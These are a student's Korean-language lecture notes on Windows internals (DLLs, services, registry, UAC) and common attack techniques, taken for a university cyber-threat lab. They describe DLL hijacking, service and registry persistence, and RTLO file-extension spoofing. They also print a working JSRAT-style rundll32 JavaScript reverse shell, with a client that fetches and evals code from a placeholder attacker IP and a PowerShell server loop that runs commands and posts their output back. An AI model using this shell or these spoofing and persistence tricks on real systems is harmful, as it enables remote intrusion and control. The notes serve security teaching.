패스트터틀

윈도우시스템 기본과 사이버위협 공격 및 대응 실습(19.5.8) 본문

Cyber Security(undergraduate)/cyber threat

윈도우시스템 기본과 사이버위협 공격 및 대응 실습(19.5.8)

SudekY 2019. 5. 8. 14:32

실험환경 셋팅 : 맥어드레스 generate 로 import 주의

 

ip주소가 다른 vmware 두개를 준비

 

DLL 파일 : 동적으로 응용되는 공용 랑이브러리

 

-DLL

-WINDOWS SERVICE

-REGISTRY

-Windows Permission

-UAC

 

DLL

 

 

정적라이브러리 - 프로그램에 같이 들어감

동적라이브러리 - 프로그램과 따로 들어감

 

예전에 배운 객체 지향 프로그램과 비슷한 성격이다라고 생각하면됨

 

동적라이브러리는 바이너리 크기가 감소하고, 라이브러리 패치가 용이하다

하지만 DLL버젼 확인및 관리비용이 증가,의존성증가(DLL HELL)(스파게티처럼 꼬인다고 생각하면됨)

심하면 의존이 꼬이고 꼬여서 싸이클이 되버려 프로그램을 실행할수 없는 경지에 이름

 

보안적인 문제도 있기는한데 Dll 파일을 가로채면 악용가능성이 높음(dll 덮어쓰기)

(윈도우가 높아짐에따라아 윈도우나 프로그램파일에서는 사용이 불가능하게 됨)

 

dll Hijacking (공격기법)이 있을수 있음

 

운영체제에서 KERNEL32.dll의 함수를 이용하여 dll 파헤치기

 

DLL Export 함수

 

dumpbin -exports build/Debug/Win32/Testdll.dll

 

EXE의 Import 함수 확인

 

dumpbin -imports build/Debug/Win32/TestExe.exe

 

DLL의 Import

 

dumpbin -import build/Debug/Win32/TestDll.dll

 

 

 

dll확인결과

 

실제 코드

어떤 함수를 dll에서 Export Import하거나 지시어를 넘겨야되는데 해당함수를 외부로 공개하거나 다른 dll을 가져오게 자동으로 빌드가됨 ifdef(if define)한거는 dll을 하면은 헤더파일을 제공해주는데 헤더파일이 개발자모드와 사용하는 모드가 있는데 dll을 설계는 매크로를 사용자는 import하게 함 

 

개발모드랑 사용할때 바뀐다는뜻을 말하는것같음 코딩 컨벤션 

 ifdef dll _ export가 디파인되있으면 위에 아니면 아래

dll빌드할때는 export가 define이 되어있고...

dll에서도 exe에서도 사용할때 나오는 컨벤션이라고함

 

Test 실행할때 Test.dll을 이름을 변경하면 실패하지만

HijackDll.dll 을 Testdll.dll 로 바꾸고 system32로 이동하고 exe파일 실행하면 실행이됨

 

system32 는 시스템에서 사용하는 모든 dll과 중요 exe가 담겨있는곳인데

여기다가 testdll.dll을 넣으면 system32은 공용이기에 전부다 접근가능하기에 실행이 가능함

exe만 배포하고 dll만 system32에 넣는채로 유포함

그러면 여기서 해커는 같은 dll을 사용할수있음

그런데 같은 폴더에 있는 dll이 우선실행이됨 그렇기때문에 공격자들은 dll Search order Hijacking이라고 dll을 우선순위 높은 폴더에 넣는것이라고함

 

MSDN Document에 실행파일이 로드되는 위치와 순서에 관한 정보가있음

(DLL Search Order) 3번순서에서 실행될때 2번에다가 악성코드를 넣으면 악성코드가 먼저 실행이 된다는것임

 

dll을 까보면 exe랑 똑같은데... 겉면을보면 똑같다

 

 

동적라이브러리 라고해서 다른형태를 취하는게 아니고 일반 실행파일과 똑같은 구조를 가지고있다.

 

Windows Services

 

Linux계열의 daemon 프로그램과 유사

컴퓨터가 부팅되었을때 항상 실행되어야만 하고 실행되어지는 프로그램

컴퓨터를 키면은 바탕화면 인터넷익스플로러 말고도 백그라운드에서 많은 프로그램들이 돌아가는데 어떤거는 네트워크 연결 어떤 거는 파일시스템을 보면서 상태를 보고 그런것들이 있는데 이런것들은 항상 켜져있어야됨

그래서 이런거는 윈도우시스템에 등록되어서 운영체제의 지원을 받음

이러한 윈도우 서비스(Window Services)는 제어판에서 들어갈수있고 서비스의 상태도 볼수있고 이름도 볼수있음

 

서비스는 윈도우 운영체제만 쓰는것이 아니고 다른 고급 응용프로그램도 쓸수있음

그러면 이 윈도우 시스템을 봐야되는 이유는 공격자가 침투한다고했을때 공격자는 자신의 악성코드가 재부팅할때마다 없어지면 빡이 치니까 이거를 서비스로 등록해서 항상 부팅과 실행되게 등록을 해놓음

그래서 윈도우 서비스를 확인해서 해커가 침투했나 확인을 할수도 있음

 

대표적인 서비스를 본다면 작업 스케쥴러라고 있는데 테스트관련된것임

이곳에 등록하면은 자동으로 실행되게 예약할수있음.

예를들어 크롬을 설치한다면 언제언제 자동업데이트를 실행하라고 크롬업데이트가 자동으로 등록이됨

 

그러면 이 task schedule은 svchost.exe가 여러서비스를 동시에 실행하는데

 

svchost.exe

서비스 실행 파일

 

서비스 추가

서비스 추가후 services.msc들어가면 서비스를 실행할수있음

 

서비스로 등록한얘들은 gui인터페이스가 없음 왜냐하면 보통 우리가 윈도우즈를 단일유저로 사용해서 모를수있지만 원래는 멀티유저로서 제공하는 것이라서 gui인터페이스를 가질수없음 가지기도 힘들고

그러면 작동여부는 윈도우에서 제공하는 디버그 api를 사용하는데 윈도우시스템에서 제공하는 더 낮은 수준의 디버그 메시지를 사용함

 

DebugView On으로 키고

 

Capture Global Win32체크해야지 서비스에서 나오는것을 볼수있음

 

그리고 Service

 

서비스가 시작되는것은 확인할수있음

 

위의 명령어를 다시 설명하면 tpye= own(own는 exe에 구현 share는 dll구현할때 사용(악성코드들이 주로이거),start= auto(컴퓨터 부팅시 자동설정)을 뜻함

 

서비스 동작 원라

 

소스코드는 간단하고 cpp하나밖에없음 

 

Table을 사용하여 함수를 호출하면 윈도우는 인식해서 testest라는 것을 serviceMain에서 진행하는것인데 

소스를 보면은 굉장히 어려움 어짜피 다 이해할필요가없는것이 일반 사용자도 서비스를 쉽게 구현할수있다는점

마이크로소프트 개발문서에 전부 공개되어있고 참고해서 만들면 구현가능하다임(인터페이스 맞춰서 구현)

공격자들은 이것을 구현하여 악성코드를 서비스에 등록시켜 계속 

 

 

dll code.txt
0.01MB

 

공격자들은 공격할때 svchost.exe는 윈도우 내장으로 schedule이 들어가서 작동하는것처럼 svchost.exe로 들어가서 실행이되도록해서 ProcessHacker와 같은것으로 보려고 해도 잘 보이지 않음

(그러니까 윈도우 작업관리자를 통해 보려고 한들 보기 힘듬

((보안개발자는 processhacker와 같은 도구로 악성코드 실행시키고 수상쩍은것을 확인하기도함))

 

Registry

 

컴퓨터를 실행하면 설정값들을 전부 저장해야되는데 이때 이부분을 레지스트리에 저장함

방화벽 활성화 설정, 백신 온/오프, 화면보호기, 프로필경로등 중요한것들이 레지스트리에 저장이 되어있음

보통 확장자에 따라 실행되는 어플리케이션이 다른데 이런것들도 레지스트르에 포함되어있음

(그렇기때문에 이거를 악용하면 권한 상승 공격을 할수있음)

Run/RunOnce에는 등록하면 자동으로 프로그램이 실행되게 할수있음

 

레지스트리는 키(1),값(2)으로 분류되어있음

 

(DWORD = Double Word = 32비트)

 

방화벽 설정

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\SharedAccess\Parameters\FirewallPolicy\*

 

윈도우설정

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\*

 

확장자 실행 규칙

HKEY_CLASSES_ROOT\*

 

레지스트리를 전부알면 컴퓨터 설정 대부분을 안다는것임

레지스트리는 함부로 건들면 안됨

 

regedit 편집기       reg도구

cmd + regedit       cmd에서 설정

 

(classes_root) 확장자와 프로그램 연결하는 

(current_user) 유저에 관한 설정(화면보호기,바탕화면설정등) 

(local_machine) 윈도우 전반에 관한 설정 

(users) 다른유저들의 정보를 담고있는건데 앞서서 설명한 current_user는 이 users항목 내부에 있는 키값의 바로가기

임 각프로그램들은 현재유저가 어떤지 신경안쓰고 currentuser?만 신경쓰는 구조?라고함 뭔말인지 모름 한국말 영어차이아닌가..

(current_config) 예상컨데 현재 설정?

 

윈도우쪽 보안을 할때는 registry는 반드시 알아야되는부분

 

Windows Permission, UAC(User Account Control)

 

윈도우즈는 어떤 user가 해당 파일에 대해서 어떤 작업이 허용되는지 명시

 

데스크톱 보다는 서버에서  활용됨

eg. Windows Server 2016

 

관련도구: cacls, icacls

파일/디렉토리의 ACL 관리하는 도구

 

윈도우즈 XP에서 Vista로 넘어갔을때 큰변화가 하나있다면 UAC라고 보면됨 그래서 XP때에는 그냥 어떤 누구든 exe파일 권한없이 그냥 무조건적으로 실행가능할수있었음. 그래서 이런 문제점을 해결하기 위해서는 권한설정 창을 무조건 허가받아야됨

 

UAC도 발달한것이 예전에는 그냥 창만 떳지만 이제는 검은화면으로 제어못하게끔 막아버림(해커가 마우스포인터 움직여서불가능하게)

 

Session

윈도우에서는 Session이라는것이 있는데 동일 세션에 있는것들은 서로 자유소통가능하지만 세션이 다르다면 제한이 걸린다. 윈도우 비스타이후에는 세션 0번과 1번을 볼수있는데 사용자는 1번 중요시스템 도구들은 0(제로)로 실행이됨

그래서 악성코드가 실행이 되더라도 System 프로세스에 쉽게 영향을 끼치지 못하도록 만듬

(XP때에는 이런 세션이없어서 악성코드 실행한번에 모든것이 영향받을수 있는 취약한 상태였음)

 

Integrity Level

 

 

UAC없이 수정 가능한 레지스트리 활용하여 권한상승에 사용(악용가능성) 가능

 

MicEnum.exe
0.57MB

 

 

윈도우즈 구조를 보다보면은 비효율적이고 더러운 디자인을 만나게 되는 경우가 많음

윈도우즈가 발달한 역사를 보면은 하위호환성을 목적으로 굉장히 발달해서 윈도우10에서 윈도우98에서도 돌아가게끔

만들었음

마이크로소프트는 윈도우를 발달할때 이부분을 최상위권으로 염두하고 만들었기 때문에 다른부분이 조금 안좋을수있는데 보안적인 측면에서는 안좋을수있음

 

블래스터웜은 UAC가 등장한 이유임

 

Recap. Windows 시스템 핵심 개념

 사이버 공격 기법 설명  실습

 Execution

 EoP

 Persistence

 

 

1. 피해자가 악성코드를 실행하도록 유도

2. 보안 정책 우회 및 권한 상승

3. 지속성(Persistence) 달성

 

참고.OS취약점공격,

윈도우 커널 대한 이해 필요: 역공학, 커널디버깅  고급기법

예시. 윈도우 메모리 할당 정책과 콜백(callback) 체계 이해하고 악용하여 커널 메모리 데이터 Arbitrary read/write 수행, 시스템 프로세스 권한 토큰 획득 (매우어려움)

 

 

해커들이 스팸메일을 뿌리면 보안문서라고 적어놓고 파일을 보내는데

 

 

이런식으로 Word에서 스크립트를 작성하면 관련 악성코드또한 쉽게 점염시킬수잇다.

 

아래는 실행시켜보면 일반 텍스트 파일같지만

파일 유형을 보면은 화면보호기로 되어있다.

README_by_‮txt.SCR
0.19MB

 

이것은 유니코드 글자를 사용해서 문서 파일처럼 보이도록 하는건데

 

UNICODE: RightToLeftOverride

표시: README_by_RCS.txt

실제: README_by_(RTLO)txt.SCR

 

를 사용해서 실제적인 확장자를 감추는것이다. 이런것으로도 악성코드 유출가능

 

실제로 txt로 열면 이상하다는것을 알수있다. 치밀한 악성코드라면 단순히 문서파일도 같이 열음.

악성코드 exe는 아이콘을 변경가능하고 실행이되면 실제적으로 txt로 작성해서 보여주는건데 실제적으로 txt파일인것처럼 보이는것으로 fake를 할수있다.

 

BabelMap

 

 

 

이것으로 파일확장자를 바꾸어서 가능

 

 

아이콘을 바꿔주는 프로그램(github에있음)

여기까지는 사용자를 속여서 악성코드를 실행하는 기법들이고

 

rundll32를 사용한 JavaScript Reverse Shell

 

진짜 진짜 진짜 어려움

 

먼저 앞서 Shell 이란 피해자 컴퓨터에서 실행되면서 통신 회로를 열어두는것이다.

전에 Shell을 연결해서 이용한것을 본적이있음

 

두가지 유형이 있는데

 

Listen type(해커의 역할을 기다리는것, 근데 발각될 가능성이 큼)

Reverse type(좀비 pc가 해커한테 먼저 접속을 하는 경우) << 이것을 할꺼임

 

리버스 Shell을 실행할때 rundll32 이라는 윈도우 내장도구를 사용할것인데 이것을 쓰는이유는 윈도우에 있는 도구를 쓸경우 백신에 발각될 가능성이 매우 낮아짐. 그리고 사람이 봐도 헷갈림

그리고 rundll32는 Javascript는 쓸것임

 

전체적인 공격과정 실습과정은

 

 

이런식으로 되어있다.

 

Dev VM을 사용해 Lab VM을 공격할것이고 공격자는 rundll32를 실행 완료했다고 가정한다

 

 

“\..\mshtml,RunHTMLApplication ”;   //string 상수. 무시됨

document.write();

h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");

h.Open("GET","http://XXX.XXX.XXX.XXX/connect",false);

try{

  h.Send();

  B=h.ResponseText;

  eval(B);

}catch(e){

  new%20ActiveXObject("WScript.Shell").
    Run("cmd /c taskkill /f /im rundll32.exe",0,true);

}

 

Client cmd에서 실행한 코드

 

HTML페이지를 하나그리겠따. html 리퀘스트할수있는것을 할당받고 해커서버에 접속하구 (try문은 예외처리구문) 

리버스형의 최대단점은 자기의 위치가 노출이될 가능성이 크다는것이다.

여기서 포인터는 따로 악성코드없이 자바로 보내는 악성코드를 실행할수있다는게 최대 장점

Http request는 아무반응이없으면 timed out이 발생하는데 여기서 timed out이 발생하면 rundll32를 taskkill로 종료한다는 구문이 catch 이하구문

jsrat.client.txt
0.00MB
jsrat.ps1
0.00MB
jsrat.server.txt
0.00MB

해당 ip는 변경해서 저장후 실행해야됨

 

Lab에서 

 

rundll32 javascript:”\..\mshtml,RunHTMLApplication “;alert(‘foo’);

 

 

rundll32는 dllname에 있는 특정함수를 실행하는것

 

rundll32 abc.dll, funcA : abc!funcA 함수를 실행

 

<dllname>!<entrypoint> 다음 프로토타입을 가져야 

다음과같은 코드처럼

1. void CALLBACK EntryPoint(

2.     HWND hwnd,

3.     HINSTANCE hinstance,

4.     LPSTR lpszCmdLine,  // <optional args>

5.     int nCmdShow);

 

 

Pteranodon 악성코드를 살펴보면

 

내용물은 dll인데 껍질은 dll이 아닌것처럼 실행되어지는 구조이다.

 

rundll32는 콤마(,)랑 스페이스( )로 구분하여서

 

 

처음은 DLL name 다음은 Entry point 로 구분되고

 

 

cd asdasd << asdasd는 무시됨 뒤에 .. 때문에

 

이런식으로  .. 합쳐져서 javascript:”  사라짐 -> LoadLibrary(“mshtml”)

그러면 dll이름에 mshtml을 바로 넣으면 안되냐 하면 안된다고함 javascript가 있어야만 javascript를 넣어줘야함

(복잡한과정, 경로를 무조건 입력해야하는? 그런건가 잘모르겠음)

이해가 안되는게 당연하고 원래 어려운것임

교수님이 말씀하고자한것은 이런것을 찾아내는 괴상한 해커들이 존재하기때문에 새로운공격법이 계속 등장함

rundll32로 javascript를 실행 시켰다는것이 포인트임

 

커멘드라인에서는 스페이스바를 사용못하기에 %20은 space문자임

 

Client Side Script에서 실행하는 Script

 

// jsrat.ps1

46. ...

47. if ($request.Url -match '/connect$' -and ($request.HttpMethod -eq "GET")) {

48.   write-host "Host Connected" -fore Cyan

49.   $message = '

50.           var id = window.setTimeout(function() {}, 0);

51.           while (id--) {

52.             window.clearTimeout(id); // Clear Timeouts

53.           }

54.           

55.           while(true)

56.           {

57.             h = new ActiveXObject("WinHttp.WinHttpRequest.5.1");

58.             h.Open("GET","http://'+$Server+'/rat",false); //해커로 연결해서

59.             h.Send();

60.             c = h.ResponseText;  //명령 받고

61.             r = new ActiveXObject("WScript.Shell").Exec(c); //실행 후

62.             var so;

63.             while(!r.StdOut.AtEndOfStream){so=r.StdOut.ReadAll()}

64.             p=new ActiveXObject("WinHttp.WinHttpRequest.5.1");

65.             p.Open("POST","http://'+$Server+'/rat",false);  //stdout 결과 전달

66.             p.Send(so);

67.           }’

68. ...

69. // $message 전달

“\..\mshtml,RunHTMLApplication ”;   //string 상수. 무시됨
document.write();
h=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
h.Open("GET","http://XXX.XXX.XXX.XXX/connect",false);
try{
  h.Send();
  B=h.ResponseText;
  eval(B);
}catch(e){
  new ActiveXObject("WScript.Shell").
    Run("cmd /c taskkill /f /im rundll32.exe",0,true);
}

이 스크립트는 서버가 열고있는 통신경로로 악성코드쪽에서 connect시작하는것으로 접근했을때 

클라이언트에있는 서버스크립트에서 강제하는거임..???(뭔솔?)

서버에서 메시지로 코드를 보내면 클라이언트는 아래 eval(b)이란것으로 서버에서 보낸 코드로 실행을 함

 

cmd message를 Lab VM로 전달해서 받아서 실행하고 결과를 보내고 이것을 무한으로 반복하는것임

 

Powershell은 이해하기 어렵고 쓰는경우가 매우 드물기때문에 어렵고 교수도 어렵다고함

 

큰틀은 방화벽끄고 처음에 접속하면 메시지전달하고 이런식으로... 되어있음 

 

 

 (Phishing) 악성 문서 매크로

 (Phishing) Extension Spoofing

 (Fileless 실행) rundll32 사용한 reverse shell

 

여기까지 배웠음

Comments